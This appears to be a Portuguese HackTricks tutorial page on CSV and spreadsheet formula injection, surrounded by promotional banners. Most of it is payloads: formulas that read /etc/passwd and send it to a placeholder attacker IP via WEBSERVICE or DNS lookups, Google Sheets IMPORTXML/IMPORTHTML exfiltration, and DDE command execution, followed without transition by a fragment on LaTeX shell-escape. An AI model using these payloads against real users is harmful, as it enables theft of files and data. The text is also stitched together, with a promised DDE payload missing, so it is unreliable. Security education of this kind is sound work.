<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do excel.
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e para fazer solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
* Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
* Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Troca Dinâmica de Dados (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem estar habilitadas:
* Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite **Iniciar Servidor de Troca Dinâmica de Dados**.
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo da calculadora, o payload seria:
- Lendo a primeira linha do arquivo local `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Exfiltrando os dados lidos para um servidor controlado pelo atacante: `=WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Exfiltrando mais de uma linha: `=WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domínio do atacante>"))`
- **IMPORTXML**: Importa dados de tipos de dados estruturados - `=IMPORTXML(CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Importa feeds RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<IP do atacante:Porta>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Importa dados de tabelas ou listas HTML - `=IMPORTHTML (CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Importa um intervalo de células de outra planilha - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID da Planilha]", "planilha1!A2:E2")`
- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).